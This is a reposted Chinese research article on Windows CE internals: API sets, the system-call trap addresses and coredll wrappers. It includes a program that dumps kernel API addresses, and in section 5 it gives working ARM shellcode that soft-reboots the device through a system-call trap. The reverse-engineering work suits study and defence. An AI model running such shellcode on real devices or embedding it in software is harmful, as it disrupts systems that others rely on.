zoukankan      html  css  js  c++  java
  • 摘录Windows CE API机制初探

    Windows CE API机制初探


    创建时间:2005-07-08 更新时间:2005-07-08
    文章属性:原创
    文章提交:san (san_at_xfocus.org)

    Windows CE API机制初探

    整理:san
    创建:2005.07.06
    更新:2005.07.07

    --[ 目录

      1 - Windows CE架构

      2 - 列出所有系统API

      3 - Windows CE的系统调用

      4 - coredll.dll对API的包裹

      5 - 用系统调用实现shellcode

      6 - 小结

      7 - 感谢

      8 - 参考资料


    --[ 1 - Windows CE架构

    在《Windows CE初探》一文中已经介绍了KDataStruct的结构,这是一个非常重要的数据结构,可以从用户态的应用程序访问。其开始地址是固定的PUserKData(在SDK中定义:Windows CE Tools\wce420\POCKET PC 2003\Include\Armv4\kfuncs.h),对于ARM处理器是0xFFFFC800,而其它处理器是0x00005800。偏移KINFO_OFFSET是UserKInfo数组,里面保存了重要的系统数据,比如模块链表、内核堆、APIset pointers表(SystemAPISets)。《Windows CE初探》一文中通过模块链表最终来搜索API在coredll中的地址,本文我们将讨论一下UserKInfo[KINX_APISETS]处的APIset pointers表。

    Windows CE的API机制使用了PSLs(protected server libraries),是一种客户端/服务端模式。PSLs象DLL一样处理导出服务,服务的导出通过注册APIset。

    有两种类型的APIset,分别是固有的和基于句柄的。固有的API sets注册在全局表SystemAPISets中,可以以API句柄索引和方法索引的组合来调用他们的方法。基于句柄的API和内核对象相关,如文件、互斥体、事件等。这些API的方法可以用一个对象的句柄和方法索引来调用。

    kfuncs.h中定义了固有APIset的句柄索引,如:SH_WIN32、SH_GDI、SH_WMGR等。基于句柄的API索引定义在PUBLIC\COMMON\OAK\INC\psyscall.h中,如:HT_EVENT、HT_APISET、HT_SOCKET等。

    SystemAPISets共有32个CINFO结构的APIset,通过遍历SystemAPISets成员,可以列出系统所有API。其中CINFO的结构在PRIVATE\WINCEOS\COREOS\NK\INC\kernel.h中定义:

    /**
    * Data structures and functions for handle manipulations
    */

    typedef struct cinfo {
        char        acName[4];  /* 00: object type ID string */
        uchar       disp;       /* 04: type of dispatch */
        uchar       type;       /* 05: api handle type */
        ushort      cMethods;   /* 06: # of methods in dispatch table */
        const PFNVOID *ppfnMethods;/* 08: ptr to array of methods (in server address space) */
        const DWORD *pdwSig;    /* 0C: ptr to array of method signatures */
        PPROCESS    pServer;    /* 10: ptr to server process */
    } CINFO;    /* cinfo */
    typedef CINFO *PCINFO;


    --[ 2 - 列出所有系统API

    Dmitri Leman在他的cespy中有个DumpApis函数,略加修改后如下:

    // DumpApis.cpp
    //

    #include "stdafx.h"

    extern "C" DWORD __stdcall SetProcPermissions(DWORD);

    #define KINFO_OFFSET     0x300
    #define KINX_API_MASK    18
    #define KINX_APISETS     24

    #define UserKInfo  ((long *)(PUserKData+KINFO_OFFSET))

    //pointer to struct Process declared in Kernel.h.
    typedef void * PPROCESS;
    //I will not bother redeclaring this large structure.
    //I will only define offsets to 2 fields used in DumpApis():
    #define PROCESS_NUM_OFFSET  0    //process number (index of the slot)
    #define PROCESS_NAME_OFFSET 0x20 //pointer to the process name

    //Also declare structure CINFO, which holds an information
    //about an API (originally declared in  
    //PRIVATE\WINCEOS\COREOS\NK\INC\Kernel.h).
    typedef struct cinfo {
        char        acName[4];  /* 00: object type ID string */
        uchar       disp;       /* 04: type of dispatch */
        uchar       type;       /* 05: api handle type */
        ushort      cMethods;   /* 06: # of methods in dispatch table */
        const PFNVOID *ppfnMethods;/* 08: ptr to array of methods (in server address space) */
        const DWORD *pdwSig;    /* 0C: ptr to array of method signatures */
        PPROCESS    pServer;    /* 10: ptr to server process */
    } CINFO;    /* cinfo */

    #define NUM_SYSTEM_SETS 32

    /*-------------------------------------------------------------------
       FUNCTION: ProcessAddress
       PURPOSE:  
       returns an address of memory slot for the given process index.
       PARAMETERS:
        BYTE p_byProcNum - process number (slot index) between 0 and 31
       RETURNS:
        Address of the memory slot.
    -------------------------------------------------------------------*/
    inline DWORD ProcessAddress(BYTE p_byProcNum)
    {
        return 0x02000000 * (p_byProcNum+1);
    }

    int WINAPI WinMain( HINSTANCE hInstance,
                        HINSTANCE hPrevInstance,
                        LPTSTR    lpCmdLine,
                        int       nCmdShow)
    {
        FILE *fp;
        DWORD l_dwOldPermissions = 0;

        if ( (fp = fopen("\\apis.txt", "w")) == NULL )
        {
            return 1;
        }

        fprintf(fp, "Dump APIs:\n");

        __try
        {
            //Get access to memory slots of other processes
            l_dwOldPermissions = SetProcPermissions(-1);

            CINFO ** l_pSystemAPISets = (CINFO **)(UserKInfo[KINX_APISETS]);

            for(int i = 0; i < NUM_SYSTEM_SETS; i++)
            {
                CINFO * l_pSet = l_pSystemAPISets[i];
                if(!l_pSet)
                {
                    continue;
                }
                LPBYTE l_pServer = (LPBYTE)l_pSet->pServer;
                fprintf(fp,
                    "APIset: %02X   acName: %.4s   disp: %d   type: %d   cMethods: %d   "
                    "ppfnMethods: %08X   pdwSig: %08X   pServer: %08X %ls\n",
                    i,
                    l_pSet->acName,
                    l_pSet->disp,
                    l_pSet->type,
                    l_pSet->cMethods,
                    l_pSet->ppfnMethods,
                    l_pSet->pdwSig,
                    l_pServer,
                    l_pServer? (*(LPTSTR*)
                        (l_pServer + PROCESS_NAME_OFFSET)) : _T("") );

                //If this API is served by an application - get it's
                //address, if it is served by the kernel - use address 0
                DWORD l_dwBaseAddress = 0;
                if(l_pServer)
                {
                    l_dwBaseAddress = ProcessAddress
                        (*(l_pServer + PROCESS_NUM_OFFSET));
                }

                //Add the base address to the method and signature
                //tables pointers
                PFNVOID * l_ppMethods = (PFNVOID *)l_pSet->ppfnMethods;
                if(l_ppMethods  && (DWORD)l_ppMethods < 0x2000000)
                {
                    l_ppMethods = (PFNVOID *)
                        ((DWORD)l_ppMethods + l_dwBaseAddress);
                }
                
                DWORD * l_pdwMethodSignatures = (DWORD *)l_pSet->pdwSig;
                if(l_pdwMethodSignatures &&
                    (DWORD)l_pdwMethodSignatures < 0x2000000)
                {
                    l_pdwMethodSignatures = (DWORD *)
                        ((DWORD)l_pdwMethodSignatures + l_dwBaseAddress);
                }

                if(l_ppMethods)
                {
                    for(int j = 0; j < l_pSet->cMethods; j++)
                    {
                        PFNVOID l_pMethod = l_ppMethods?
                            l_ppMethods[j] : 0;
                        if(l_pMethod && (DWORD)l_pMethod < 0x2000000)
                        {
                            l_pMethod = (PFNVOID)
                                ((DWORD)l_pMethod + l_dwBaseAddress);
                        }
                        DWORD l_dwSign = l_pdwMethodSignatures?
                            l_pdwMethodSignatures[j] : 0;
                        fprintf(fp,
                            "  meth #%3i: %08X sign %08X\n",
                            j,
                            l_pMethod,
                            l_dwSign);
                    }
                }
            }//for(int i = 0; i < NUM_SYSTEM_SETS; i++)
        }
        __except(1)
        {
            fprintf(fp, "Exception in DumpApis\n");
        }

        if(l_dwOldPermissions)
        {
            SetProcPermissions(l_dwOldPermissions);
        }
        fclose(fp);

        return 0;
    }

    来看一下此程序输出的片断:

    APIset: 00   acName: Wn32   disp: 3   type: 0   cMethods: 185   ppfnMethods: 8004B138   pdwSig: 00000000   pServer: 00000000
      meth #  0: 8006C83C sign 00000000
      meth #  1: 8006C844 sign 00000000
      meth #  2: 800804C4 sign 00000000
      meth #  3: 8006BF20 sign 00000000
      meth #  4: 8006BF94 sign 00000000
      meth #  5: 8006BFEC sign 00000000
      meth #  6: 8006C0A0 sign 00000000
      meth #  7: 8008383C sign 00000000
      meth #  8: 80068FC8 sign 00000000
      meth #  9: 800694B0 sign 00000000
      meth # 10: 8006968C sign 00000000
    ...

    这是最开始的一个APIset,它的ppfnMethods是0x8004B138,cMethods是185,根据这两个数据得到185个地址,这些地址实际上就是内核系统调用的实现地址。它们的索引相对PRIVATE\WINCEOS\COREOS\NK\KERNEL\kwin32.h里的Win32Methods数组:

    const PFNVOID Win32Methods[] = {
        (PFNVOID)SC_Nop,
        (PFNVOID)SC_NotSupported,
        (PFNVOID)SC_CreateAPISet,               //  2
        (PFNVOID)EXT_VirtualAlloc,              //  3
        (PFNVOID)EXT_VirtualFree,               //  4
        (PFNVOID)EXT_VirtualProtect,            //  5
        (PFNVOID)EXT_VirtualQuery,              //  6
        (PFNVOID)SC_VirtualCopy,                //  7
        (PFNVOID)SC_LoadLibraryW,               //  8
        (PFNVOID)SC_FreeLibrary,                //  9
        (PFNVOID)SC_GetProcAddressW,            // 10
    ...
        (PFNVOID)SC_InterruptMask,              // 184
    };


    --[ 3 - Windows CE的系统调用

    Windows CE没有使用ARM处理器的SWI指令来实现系统调用,SWI指令在Windows CE里是空的,就简单的执行了"movs pc,lr"(详见armtrap.s关于SWIHandler的实现)。Windows CE的系统调用使用了0xf0000000 - 0xf0010000的地址,当系统执行这些地址的时候将会触发异常,产生一个PrefetchAbort的trap。在PrefetchAbort的实现里(详见armtrap.s)首先会检查异常地址是否在系统调用trap区,如果不是,那么执行ProcessPrefAbort,否则执行ObjectCall查找API地址来分派。

    通过APIset和其API的索引可以算出系统调用地址,其公式是:0xf0010000-(256*apiset+apinr)*4。比如对于SC_CreateAPISet的系统调用可以这样算出来:0xf0010000-(256*0+2)*4=0xF000FFF8。


    --[ 4 - coredll.dll对API的包裹

    选择一个没有参数的SetCleanRebootFlag()进行分析,IDAPro对其的反汇编如下:

    .text:01F74F70                 EXPORT SetCleanRebootFlag
    .text:01F74F70 SetCleanRebootFlag
    .text:01F74F70                 STMFD   SP!, {R4,R5,LR}
    .text:01F74F74                 LDR     R5, =0xFFFFC800
    .text:01F74F78                 LDR     R4, =unk_1FC6760
    .text:01F74F7C                 LDR     R0, [R5]        ; (2FF00-0x14) -> 1
    .text:01F74F80                 LDR     R1, [R0,#-0x14]
    .text:01F74F84                 TST     R1, #1
    .text:01F74F88                 LDRNE   R0, [R4]        ; 8004B138 ppfnMethods
    .text:01F74F8C                 CMPNE   R0, #0
    .text:01F74F90                 LDRNE   R1, [R0,#0x134]
    .text:01F74F94                 LDREQ   R1, =0xF000FECC
    .text:01F74F98                 MOV     LR, PC
    .text:01F74F9C                 MOV     PC, R1          ; 80062AAC SC_SetCleanRebootFlag
    .text:01F74FA0                 LDR     R3, [R5]
    .text:01F74FA4                 LDR     R0, [R3,#-0x14]
    .text:01F74FA8                 TST     R0, #1
    .text:01F74FAC                 LDRNE   R0, [R4]        ; 8004B138 ppfnMethods
    .text:01F74FB0                 CMPNE   R0, #0
    .text:01F74FB4                 LDRNE   R0, [R0,#0x25C]
    .text:01F74FB8                 MOVNE   LR, PC          ; 800810EC SC_KillThreadIfNeeded
    .text:01F74FBC                 MOVNE   PC, R0
    .text:01F74FC0                 LDMFD   SP!, {R4,R5,PC}
    .text:01F74FC0 ; End of function SetCleanRebootFlag

    写一个包含SetCleanRebootFlag()函数的小程序用EVC进行跟踪调试,按F11进入该函数以后,程序首先取KDataStruct的lpvTls成员,然后取lpvTls偏移-0x14的内容,测试该内容是否是1。

    得先来了解一下lpvTls偏移-0x14的数据是什么。先看PUBLIC\COMMON\OAK\INC\pkfuncs.h里的几个定义:

    #define CURTLSPTR_OFFSET 0x000
    #define UTlsPtr() (*(LPDWORD *)(PUserKData+CURTLSPTR_OFFSET))
    #define PRETLS_THRDINFO         -5   // current thread's information (bit fields, only bit 0 used for now)

    #define UTLS_INKMODE            0x00000001  // bit 1 set if in kmode

    看来lpvTls偏移-0x14保存的是当前线程信息,只有第0比特被使用。再来看PRIVATE\WINCEOS\COREOS\NK\KERNEL\ARM\mdram.c里的MDCreateMainThread2函数:

    ...
        if (kmode || bAllKMode) {
            pTh->ctx.Psr = KERNEL_MODE;
            KTHRDINFO (pTh) |= UTLS_INKMODE;
        } else {
            pTh->ctx.Psr = USER_MODE;
            KTHRDINFO (pTh) &= ~UTLS_INKMODE;
        }
    ...

    KTHRDINFO (pTh)在PRIVATE\WINCEOS\COREOS\NK\INC\kernel.h里定义:

    #define KTHRDINFO(pth)        ((pth)->tlsPtr[PRETLS_THRDINFO])

    它就是lpvTls偏移-0x14。也就是说系统在创建主线程的时候,根据程序当前的模式来设置KTHRDINFO的值,如果是内核模式,那么是1,否则是0。

    回到coredll.dll中SetCleanRebootFlag的实现,这时可以知道判断lpvTls偏移-0x14的内容是为了检查当前是否内核模式。由于Pocket PC ROM编译时使用了Enable Full Kernel Mode选项,所以程序都是以内核模式运行。于是接着调试时可以看到取0x1FC6760的内容,取出来后,R0的值时0x8004B138,这个值正好是DumpApis程序输出的第一个APIset的ppfnMethods。接下来执行:

    .text:01F74F90                 LDRNE   R1, [R0,#0x134]
    .text:01F74F94                 LDREQ   R1, =0xF000FECC

    由于程序是内核模式,所以前一条指令成功取出值,后一条无效。这时R1的值是0x80062AAC,和DumpApis程序输出的一个地址匹配,根据索引,发现这个地址是SC_SetCleanRebootFlag在内核中的实现。其实索引也可以根据这条指令的偏移来取:0x134/4=0x4D(77),根据kwin32.h里Win32Methods的索引直接就对应出SC_SetCleanRebootFlag。内核模式的话,后面还会执行SC_KillThreadIfNeeded。

    如果是用户模式的话,系统会执行0xF000FECC这个地址,这显然是一个系统调用trap地址。根据上面的公式算出索引值:(0xf0010000-0xF000FECC)/4=0x4D(77),根据kwin32.h里Win32Methods的索引也对应出这是SC_SetCleanRebootFlag。

    通过分析coredll.dll对API包裹的实现,可以发现Windows CE在调用一部分API的时候会先判断程序是否处于内核模式,如果是,那么不用系统调用方式,直接奔内核实现地址去了,否则就老老实实的用系统调用地址。


    --[ 5 - 用系统调用实现shellcode

    系统调用地址相对固定,可以通过索引算出它的trap地址,而且搜索coredll.dll里API地址的方法在用户态是无法实现的,因为模块链表是在内核空间,用户态无法访问。下面就是用系统调用实现的简单shellcode,它的作用是软重启系统,我想对于smartphone的系统应该也是可用(smartphone的ROM在编译时没有用Enable Full Kernel Mode选项)。

    #include "stdafx.h"

    int shellcode[] =
    {
    0xE59F0014, // ldr r0, [pc, #20]
    0xE59F4014, // ldr r4, [pc, #20]
    0xE3A01000, // mov r1, #0
    0xE3A02000, // mov r2, #0
    0xE3A03000, // mov r3, #0
    0xE1A0E00F, // mov lr, pc
    0xE1A0F004, // mov pc, r4
    0x0101003C, // IOCTL_HAL_REBOOT
    0xF000FE74, // trap address of KernelIoControl
    };

    int WINAPI WinMain( HINSTANCE hInstance,
                        HINSTANCE hPrevInstance,
                        LPTSTR    lpCmdLine,
                        int       nCmdShow)
    {
        ((void (*)(void)) & shellcode)();

        return 0;
    }


    --[ 6 - 小结

    通过本文可以了解到Windows CE API机制的大概轮廓,对于系统调用的具体流程,也就是trap后的具体流程还不是很清晰,本文也就一块破砖头,希望能砸到几个人,可以一起讨论;)
    文中如有错误还望不吝赐教,希望Xcon'05见。


    --[ 7 - 感谢

    非常感谢Nasiry对我的帮助,在他的帮助下才得以完成此文。


    --[ 8 - 参考资料

    [1] Spy: A Windows CE API Interceptor by Dmitri Leman
        Dr. Dobb's Journal October 2003
    [2] misc notes on the xda and windows ce
        http://www.xs4all.nl/~itsme/projects/xda/
    [3] windowsCE异常和中断服务程序初探 by Nasiry
        http://www.cnblogs.com/nasiry/archive/2004/12/27/82476.html
        http://www.cnblogs.com/nasiry/archive/2005/01/06/87381.html
    [4] Windows CE 4.2 Source Code

        http://msdn.microsoft.com/embedded/windowsce/default.aspx

  • 相关阅读:
    集合模拟斗地主
    泛型
    Iterator迭代器
    嵌入式应用开发过程中用到的函数
    Keil ,source insight使用技巧等
    Socket应用demo 获取IP
    tftp安装、配置,ubuntu联网设置
    C++基础三——类、结构体、联合体
    C++基础二——清华
    STM32笔记
  • 原文地址:https://www.cnblogs.com/nasiry/p/216669.html
Copyright © 2011-2022 走看看